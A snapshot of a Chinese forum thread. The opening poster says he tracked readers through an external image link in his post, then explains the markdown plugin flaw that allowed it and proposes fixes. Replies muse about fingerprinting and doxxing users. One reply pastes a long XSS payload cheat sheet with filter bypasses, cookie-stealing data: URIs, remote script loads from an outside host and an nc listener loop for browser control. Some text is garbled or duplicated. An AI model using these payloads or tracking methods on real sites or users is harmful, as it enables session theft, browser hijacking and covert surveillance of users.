LINUX SB 快照站

当你打开这个贴的时候我已经做了你的用户画像并且加载了几个aff

标题历史 (2)

原帖: linux.sb/topic/12781 · 共 46 楼 · 标题快照 2026-08-15 21:22:09

楼主 · 历史 (2)
发帖 2026-08-15 12:33:59 · 快照 2026-08-17 20:29:57

发生什么事了?
当你打开这个贴的时候,浏览器悄悄把你的IP、UA、等浏览器发到了我的服务器上,然后其实还能根据你的id生成属于你的专属链接,这样的话你在论坛发表不良言论就能线下找你谈话,另外我还加载了几个aff,你刚好要买这个东西的时候刚好走我的aff,在日活跃怎么高的论坛上其实也是一笔可观的收入。
具体如何实现的呢,其实很简单,发帖回复的时候把图片的地址修改成你的任意url,然后别人打开后会后台加载你的url

为什么会出现任意 URL 加载

一句话:核心是安全的,但插件把渲染接管了,而且只做了"协议白名单"没做"域名白名单"。

拆成三层看:

第一层:核心本身是安全的。 核心的 markdown_html()(index.php:1802)是白名单式渲染——默认 h() 全转义,只处理 @用户名 链接,根本不渲染图片。没有插件的时候,发 ![图](url) 就是一堆转义后的纯文本,啥也加载不了。

第二层:插件短路了核心的防线。 关键在核心这段:

$rendered = hook('markdown.render', null, ['text' => $text, ...]);
if (is_string($rendered)) return (string)hook('markdown.after', $rendered, ...);   // 插件一返回,核心的 h() fallback 就被跳过

markdown_textarea 的 markdown_textarea_render hook 住 markdown.render,返回它自己渲染的 HTML。安全边界从"核心保证"移交给了"每个插件自己保证"。

第三层:插件作者的安全取舍失衡。 为了让 ![图](url) 这个语法生效,插件把 URL 渲染成 <img src="url">。作者做了协议白名单(只放行 http://、https://、站内 /,把 javascript:、data:、file: 都挡了)——这部分是对的。但他没做域名白名单,所以任何 http(s) 域名的图片都渲染成 <img> 并让访问者浏览器自动加载。

本质:热链接任意 http(s) URL = 让每个看帖人的浏览器替攻击者去请求任意 URL。这是功能设计和安全取舍的失衡,不是编码 bug——协议白名单给人"做了安全"的错觉,但协议对 ≠ 域名对。

最后一块拼图:这插件还违反了项目自己 .ai-rules.md 里的安全规范——"上传和远程文件限制协议、主机、类型和大小,并拒绝内网地址"。作者没限制主机、没拒绝内网地址。所以修复它不是"额外加需求",是补合规。

---
如何修复

方案 A(推荐):插件加"图片域名白名单",白名单外降级成链接

原则:链接 [text](url) 是用户点击才跳转,不自动加载,可以保留任意 http(s)。但图片是浏览器自动加载的,必须白名单。白名单外的图片 URL 降级成普通链接,不渲染 <img>。

在 markdown_textarea_inline 里加一个校验函数:

function markdown_textarea_image_url_allowed(string $url): bool
{
    // 站内相对路径:本站资源,直接放行
    if (str_starts_with($url, '/')) return true;

    $host = strtolower((string)parse_url($url, PHP_URL_HOST));
    if ($host === '') return false;

    // 黑名单兜底:即使被加进白名单,回环/链路本地/保留地址也一律拒绝
    $is_ip = filter_var($host, FILTER_VALIDATE_IP) !== false;
    if ($is_ip && filter_var($host, FILTER_VALIDATE_IP,
        FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) return false;
    if (in_array($host, ['localhost', 'localhost.localdomain', 'ip6-localhost', '::1', '0.0.0.0'], true)) return false;
    if (str_starts_with($host, 'fe80:') || str_starts_with($host, 'fc') || str_starts_with($host, 'fd')) return false;

    // 图片域名白名单(按你的站实际需求配)
    $allowed = ['i.imgur.com', 'imgur.com', 'images.unsplash.com', 'bbs1.org'];
    foreach ($allowed as $domain) {
        if ($host === $domain || str_ends_with($host, '.' . $domain)) return true;
    }
    return false;
}

然后在渲染回调里,图片分支加判断:

$html = $image
    ? (markdown_textarea_image_url_allowed($url)
        ? '<img src="' . h($url) . '" alt="' . $label . '" loading="lazy" referrerpolicy="no-referrer">'
        : '<a href="' . h($url) . '" target="_blank" rel="nofollow noopener">' . $label . '</a>')
    : '<a href="' . h($url) . '" target="_blank" rel="nofollow noopener">' . $label . '</a>';

为什么白名单是主防线:黑名单式永远有漏(DNS rebinding、IPv6 变体、内网域名花活),白名单式直接让不在名单里的域名根本渲染不成 <img>。上面那段黑名单只是"防用户把 192.168.1.1 手滑加进白名单"的兜底。改完升版本号 1.0.18 → 1.0.19(.ai-rules.md 要求行为变化必升版本)。

方案 B(根治隐私问题):服务端图片代理

不直连外部 URL,改成 <img src="/index.php?a=image_proxy&u=...">,服务端转发。访问者浏览器只请求你服务器,外部 URL 只在服务端请求一次——访问者 IP、UA、TLS 指纹完全不给第三方,追踪像素直接失效。还能顺带做类型/大小校验、集中缓存。

代价:实现量大,而且服务端代理本身就是新的 SSRF 面——必须同样做白名单 + 拒绝内网 + 超时 + 大小上限,否则代理成了你自己的 SSRF 后门。要用的话,把方案 A 的 markdown_textarea_image_url_allowed 直接复用到代理层。

方案 C(纵深防御):核心兜底

核心 markdown_html() 对 markdown.render 返回值做一次检查——<img src> 不允许指向白名单外的域名。这样哪怕未来某个插件忘了校验,核心也能拦。核心是极简无依赖设计,别引入 HTMLPurifier,写个简单检查 + 一个 markdown.image_url hook 就行。这层是"保险丝",有 A 就不必须,但加上更稳。

方案 D(立刻止血,不改代码)

- 后台停用 markdown_textarea → 退回核心白名单渲染,图片不再渲染,功能降级但安全
- 扫描历史帖子里的外链图片,清掉恶意 URL:

-- SQLite 扫发帖/回帖里所有外链图片语法
SELECT id FROM app_topics  WHERE body LIKE '%![%](http%';
SELECT id FROM app_replies WHERE body LIKE '%![%](http%';

有结果的把恶意 URL 替换掉或整段转义。

---
排序建议:立刻做 D 的扫描止血 → 打上 A 的补丁(半小时的事,覆盖发帖、回帖、私信、通知所有入口)→ 有余力再上 C 做核心兜底。B 是隐私根治,值钱但排最后。

最后由 痛失姓名旳站长 编辑于 2026-08-15 20:10
#1
发帖 2026-08-15 12:36:31 · 快照 2026-08-15 12:40:56

用图床肯定有这样的问题。网站统计不就是一张0x0的img吗,要看浏览器的隐私配置

#2 · 历史 (1)
发帖 2026-08-15 12:40:59 · 快照 2026-08-17 20:29:57

@刘协 #1 😁每天发帖评论然后带上广告aff,只要论坛够活跃,赚个零花钱富富有余,而且是可以避免的

#3
发帖 2026-08-15 12:42:45 · 快照 2026-08-15 12:45:00

楼主这波属于是用“社工恐吓”开场,结果正文直接变成一篇高质量的安全审计报告了😂 看完确实学到了。

最戳我的是那句“协议对≠域名对”,很多人做了协议白名单就以为万事大吉,其实图片是浏览器自动加载的,热链任意 http(s) URL 等于让每个看帖人的浏览器替别人去请求资源,追踪像素、IP、UA 全给出去了。

方案 A 的白名单加内网黑名单兜底思路很稳,先上 D 扫历史帖止血也很务实。方案 B 那个代理反而要小心别把自己搞成 SSRF 后门。感谢分享,收藏了👍

#4
发帖 2026-08-15 12:42:48 · 快照 2026-08-15 12:45:01

还有高手?!这么强!

#4 · 历史 (1)
发帖 2026-08-15 12:43:44 · 快照 2026-08-15 21:22:09

有技术啊

#7 · 历史 (1)
发帖 2026-08-15 12:48:47 · 快照 2026-08-15 21:22:09

@该用户已存在 这个我也想过,使用像素点级别的图片插入到原文,肉眼看不到,但是后台可以记录你的IP、浏览器信息等等系统基础信息,然后你在这个站点上了,同时在另外站点也有登录,那可以通过上述的这些指纹信息来进行大致匹配,1次2次可能误差比较大,但如果长期可以匹配,基本也是可以确定你是哪个用户群体甚至精确到ID

#8 · 历史 (2)
发帖 2026-08-15 12:51:22 · 快照 2026-08-17 20:29:57

是的,直接画像,精准定位,不管是卖给广告商,还是用来社工,还是想找到谁发表了不良言论然后摁头,都是很好的玩法。

#10 · 历史 (1)
发帖 2026-08-15 13:31:45 · 快照 2026-08-15 21:22:09

不要啊。

#11
发帖 2026-08-15 12:53:17 · 快照 2026-08-15 12:55:40

这下我不敢说话了 🫢

#17 · 历史 (1)
发帖 2026-08-15 14:44:27 · 快照 2026-08-15 21:22:09

可以啊

#18
发帖 2026-08-15 14:27:14 · 快照 2026-08-15 14:28:07

甚至可能偷走其他东西

#19
发帖 2026-08-15 14:38:09 · 快照 2026-08-15 14:39:40

会有xss吗
XSS 101
ç
<h1>Hello,<script>alert(1)</script>!</h1>

1. With <script> tag
<script>alert(1)</script>

2. With regular HTML tags

2.1 Event-based

<TAG EVENT=alert(1)>
<body onload=alert(1)>
<img src=1 onerror=alert(1)>
<svg onload=alert(1)>
<x onmouseover=alert(1)>

2.2 Resource-based

<TAG RESOURCE=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<object data=javascript:alert(1)>
<script>alert(document.domain)</script>

2.1. Steal an user session on the vulnerable website (including admins)

2.2. Capture the keys pressed by the user

2.3. Deface the page, serving any type of content

2.4. Trick the user into giving his/her credentials by means of a fake HTML form

2.5. Crash the browser (local denial of service)

2.6. Force download of files

2.7. Redirect user's browser to another website where his/her machine can be

compromised by memory exploits

data伪协议的格式是:
data:[<MIME-type>][;charset=<encoding>][;base64],<data>

<script src="data:text/html;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="></script>
<script src=data:text/html;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ==></script>
<script src=data:text/html;,alert(document.cookie)></script>
<script src=data:text/html,alert(document.cookie)></script>
<script src=data:,alert(document.cookie)></script>
<script src="data:text/html;base64,YWxlcnQoMSk="></script>
<script src=data:text/html;base64,YWxlcnQoMSk=></script>
<script src=data:text/html;,alert(1)></script>
<script src=data:text/html,alert(1)></script>
<script src=data:,alert(1)></script>

<body><svg><x><script>alert(1)</script></x></svg></body>
<svg><x><script>alert(1)</x>
<svg><a><script>alert(1)</a>

XSS Cheat Sheet

HTML Context Tag Injection

<svg onload=alert(1)>
"><svg onload=alert(1)//

HTML Context Inline Injection

"onmouseover=alert(1)//
"autofocus/onfocus=alert(1)//

Javascript Context Code Injection

'-alert(1)-'
'-alert(1)//

Javascript Context Code Injection (escaping the escape)

\'-alert(1)//

Javascript Context Tag Injection

</script><svg onload=alert(1)>

PHP_SELF Injection

http://DOMAIN/PAGE.php/"><svg onload=alert(1)>

Without Parenthesis

<svg onload=alert1>
<svg onload=alert(1)>
<svg onload=alert(1)>
<svg onload=alert(1)>

Filter Bypass Alert Obfuscation

(alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)

Body Tag

<body onload=alert(1)>
<body onpageshow=alert(1)>
<body onfocus=alert(1)>
<body onhashchange=alert(1)><a href=#x>click this!#x
<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
<body onscroll=alert(1)><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><x id=x>#x
<body onresize=alert(1)>press F12!
<body onhelp=alert(1)>press F1! (MSIE)

Miscellaneous Vectors

<marquee onstart=alert(1)>
<marquee loop=1 width=0 onfinish=alert(1)>
<audio src onloadstart=alert(1)>
<video onloadstart=alert(1)><source>
<input autofocus onblur=alert(1)>
<keygen autofocus onfocus=alert(1)>
<form onsubmit=alert(1)><input type=submit>
<select onchange=alert(1)><option>1<option>2
<menu id=x contextmenu=x onshow=alert(1)>right click me!

Agnostic Event Handlers

<x contenteditable onblur=alert(1)>lose focus!
<x onclick=alert(1)>click this!
<x oncopy=alert(1)>copy this!
<x oncontextmenu=alert(1)>right click this!
<x oncut=alert(1)>copy this!
<x ondblclick=alert(1)>double click this!
<x ondrag=alert(1)>drag this!
<x contenteditable onfocus=alert(1)>focus this!
<x contenteditable oninput=alert(1)>input here!
<x contenteditable onkeydown=alert(1)>press any key!
<x contenteditable onkeypress=alert(1)>press any key!
<x contenteditable onkeyup=alert(1)>press any key!
<x onmousedown=alert(1)>click this!
<x onmousemove=alert(1)>hover this!
<x onmouseout=alert(1)>hover this!
<x onmouseover=alert(1)>hover this!
<x onmouseup=alert(1)>click this!
<x contenteditable onpaste=alert(1)>paste here!

Agnostic Event Handlers

<brute contenteditable onblur=alert(1)>lose focus!
<brute onclick=alert(1)>click this!
<brute oncopy=alert(1)>copy this!
<brute oncontextmenu=alert(1)>right click this!
<brute oncut=alert(1)>copy this!
<brute ondblclick=alert(1)>double click this!
<brute ondrag=alert(1)>drag this!
<brute contenteditable onfocus=alert(1)>focus this!
<brute contenteditable oninput=alert(1)>input here!
<brute contenteditable onkeydown=alert(1)>press any key!
<brute contenteditable onkeypress=alert(1)>press any key!
<brute contenteditable onkeyup=alert(1)>press any key!
<brute onmousedown=alert(1)>click this!
<brute onmousemove=alert(1)>hover this!
<brute onmouseout=alert(1)>hover this!
<brute onmouseover=alert(1)>hover this!
<brute onmouseup=alert(1)>click this!
<brute contenteditable onpaste=alert(1)>paste here!
<brute style=font-size:500px onmouseover=alert(1)>0000
<brute style=font-size:500px onmouseover=alert(1)>0001
<brute style=font-size:500px onmouseover=alert(1)>0002
<brute style=font-size:500px onmouseover=alert(1)>0003

Code Reuse Inline Script

<script>alert(1)//
<script>alert(1)<!–
Code Reuse Regular Script
<script src=//brutelogic.com.br/1.js>
<script src=//3334957647/1>

Filter Bypass Generic Tag + Handler

Encoding

<x onxxx=1
<%78 onxxx=1
<x %6Fnxxx=1
<x o%6Exxx=1
<x on%78xx=1
<x onxxx%3D1

Mixed Case

<X onxxx=1
<x OnXxx=1
<X OnXxx=1

Doubling

<x onxxx=1 onxxx=1

Spacers

<x/onxxx=1
<x%09onxxx=1
<x%0Aonxxx=1
<x%0Conxxx=1
<x%0Donxxx=1
<x%2Fonxxx=1

Quotes

<x 1='1'onxxx=1
<x 1="1"onxxx=1

Stripping

<[S]x onx[S]xx=1
[S] = stripped char or string

Mimetism

<x </onxxx=1
<x 1=">" onxxx=1
<http://onxxx%3D1/

Generic Source Breaking

<x onxxx=alert(1) 1='

Source-Breaking Injections

onafterscriptexecute

onbeforescriptexecute

if (brute)
alert("Congratz, buddy!");
else
alert("Almost there, try again.");

Browser Control

<svg onload=setInterval(function(){with(document)body.
appendChild(createElement('script')).src='//HOST:PORT'},0)>
$ while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done

Using XSS to Control a Browser

<svg onload=setInterval(function(){d=document;
z=d.createElement("script");z.src="//HOST:PORT";
d.body.appendChild(z)},0)>
setInterval(code, 0)
function(){code}
d=document;
z=d.createElement("script");
z.src="//HOST:PORT";
d.body.appendChild(z)
<svg/onload=setInterval(function(){with(document)body.
appendChild(createElement("script")).src="//HOST:PORT"},0)>
$ while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done

Multi Reflection

Double Reflection

Single Input

'onload=alert(1)><svg/1='
Single Input (script-based)
'>alert(1)</script><script/1='
/alert(1)</script><script>/

Triple Reflection

Single Input

/alert(1)">'onload="/<svg/1='
-alert(1)">'onload="<svg/1='

Single Input (script-based)

/</script>'>alert(1)/<script/1='

Multi Input

Double Input

p=<svg/1='&q='onload=alert(1)>

Triple Input

p=<svg 1='&q='onload='/&r=/alert(1)'>

Multi Reflection XSS

<svg onload=write(1)>
p='onload=alert(1)><svg/1='
'onload=alert(1)><svg/1='
… [code] …
'onload=alert(1)><svg/1='
p='>alert(1)</script><script/1='
p=/alert(1)</script><script>/
/alert(1)</script><script>/
… [code] …
/alert(1)</script><script>/
p=/alert(1)">'onload="/<svg/1='
p=-alert(1)">'onload="<svg/1='
-alert(1)">'onload="<svg/1='
… [code] …
-alert(1)">'onload="<svg/1='
… [code] …
-alert(1)">'onload="<svg/1='
p=/</script>'>alert(1)/<script/1='
/</script>'>alert(1)/<script/1='
… [code] …
/</script>'>alert(1)/<script/1='
… [code] …
/</script>'>alert(1)/<script/1='
p=<svg/1='&q='onload=alert(1)>
p=<svg 1='&q='onload='/&r=/alert(1)'>
var n = {a: "$p", b: "$p"};
(double reflection, single input $p)
var n = {a: "$p", b: "$q"};
(double reflection, double input $p and $q)

INPUT

p=-alert(1)}//\
RESULT*
var n = {a: "-alert(1)}//\", b: "-alert(1)}//\"};

INPUT

p=\&q=-alert(1)//
RESULT*
var n = {a: "\", b: "-alert(1)}//"};

Without Event Handlers

<script>alert(1)</script>
<script src=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)>
<a href=javascript:alert(1)>click
<math><brute href=javascript:alert(1)>click
<form action=javascript:alert(1)><input type=submit>
<isindex action=javascript:alert(1) type=submit value=click>
<form><button formaction=javascript:alert(1)>click
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=image src=SOURCE>
<isindex formaction=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/onload=alert(1)>>
<svg><script xlink:href=data:,alert(1) />
<math><brute xlink:href=javascript:alert(1)>click
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>

XSS Without Event Handlers

data:text/html,<script>alert(1)</script>

data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

1) (no attribute)

<script>alert(1)</script>

2) src

#19 · 历史 (1)
发帖 2026-08-15 14:51:49 · 快照 2026-08-15 21:22:09

@Qxue #21 我随便找的网站 可能其他的网站会更准

#22 · 历史 (1)
发帖 2026-08-15 14:56:38 · 快照 2026-08-15 21:22:09

从 HTTP 访问日志直接读取:
访客公网 IP 地址
User‑Agent(UA:浏览器、操作系统、设备型号)
Referer(来自哪个论坛帖子地址)
访问时间、请求头信息
好像只能这些吧,问了一下ai

#23 · 历史 (2)
发帖 2026-08-15 15:00:18 · 快照 2026-08-17 20:29:57

@Qxue #25 1.我描述的方法里是不能直接拿到id的,但是这个方式修改点东西就能拿到 2.cookie拿不到 3.不用在统计联盟 4.之前有个站点叫ip.xx能直接定位到楼层,现在接口被关了,但是我还有其他渠道能获取到。

#24 · 历史 (1)
发帖 2026-08-15 15:21:46 · 快照 2026-08-15 21:22:09

有点东西👍

#26 · 历史 (2)
发帖 2026-08-15 15:48:04 · 快照 2026-08-15 21:22:09

大佬牛啊,这种东西你都是怎么发现的呢?👍

#28 · 历史 (1)
发帖 2026-08-15 18:03:03 · 快照 2026-08-15 21:22:09

另外我还加载了几个aff,你刚好要买这个东西的时候刚好走我的aff

Chromium系浏览器在Cookie归属方不设定SameSite时的默认值是Lax,即禁止「非顶级页面切换或方法为POST/PUT/DELETE」的请求读取/设置Cookie。以你加的Racknerd为例,GET请求返回了两个Set-Cookie,都没有设定SameSite而被默认为Lax,因此被Chrome浏览器直接拒绝,也不会影响后续购买的aff。
此类跨域攻击的先决条件是Cookie归属方写明允许跨域Cookie,我认为除非商家允许在用户不知情的情况下aff,否则不存在跨域aff的问题

#29 · 历史 (1)
发帖 2026-08-15 15:40:53 · 快照 2026-08-15 15:57:58

@Yang9527 #30 我不是管理员啦,信息安全这个问题是站长全责的,我会帮忙反馈

#30
发帖 2026-08-15 15:26:24 · 快照 2026-08-15 15:28:19

@该用户已存在 #29 那个管理员啥也不懂…… 他都不问漏洞的严重性,要是你发的是什么RCE漏洞这个站就直接完蛋了,用户信息全都泄露了。

#32
发帖 2026-08-15 15:44:21 · 快照 2026-08-15 15:44:49

另外,严格来说这个不算漏洞。这个玩法早就有了,而且正在用。比如说在邮件里打一个1x1像素的透明GIF,就能知道对方什么时候、什么IP打开了这封邮件。

而且站长明确说了不想加文件存储服务,所以图片只能是外链。白名单不好,用白名单的话相当于限制了你只能用哪些图床,太憋屈了。最后的方法就是加一个站内S3存储或者转发服务,但是转发服务肯定不能和网站一起部署,因为转发服务消耗的带宽非常大。

#32 · 历史 (1)
发帖 2026-08-15 20:14:54 · 快照 2026-08-15 21:22:09

“然后其实还能根据你的id生成属于你的专属链接” 应该获取不到 ID 吧,这属于跨域了

#34
发帖 2026-08-15 15:51:11 · 快照 2026-08-15 15:52:00

@shy #33 他明显只是一个小白。不过有这份心就不错了,多鼓励鼓励吧。

#34 · 历史 (1)
发帖 2026-08-15 20:29:45 · 快照 2026-08-15 21:22:09

😀这不就是站点统计么

#36 · 历史 (1)
发帖 2026-08-15 20:44:36 · 快照 2026-08-15 21:22:09

@很阴的滑道 #35 在about:config中将network.cookie.sameSite.laxByDefault设置为true可以修改默认行为至Lax

#37 · 历史 (1)
发帖 2026-08-16 09:15:35 · 快照 2026-08-17 20:29:57

被举报了呢,有啥问题回帖吖,举报怎么回事。
社区AI治理中心已完成对你的主题相关举报的核查,暂未发现明确违规,本次未对你的内容或账号采取处理措施🤓

#38
发帖 2026-08-16 15:57:06 · 快照 2026-08-16 15:58:03

太技术了,完全看不懂。

#39
发帖 2026-08-16 17:16:09 · 快照 2026-08-16 17:18:13

之前就试过,用个php记录访问者的ua,访问时间,访问ip,来源网址,写到本地日志txt里,然后再302跳到原图地址,可行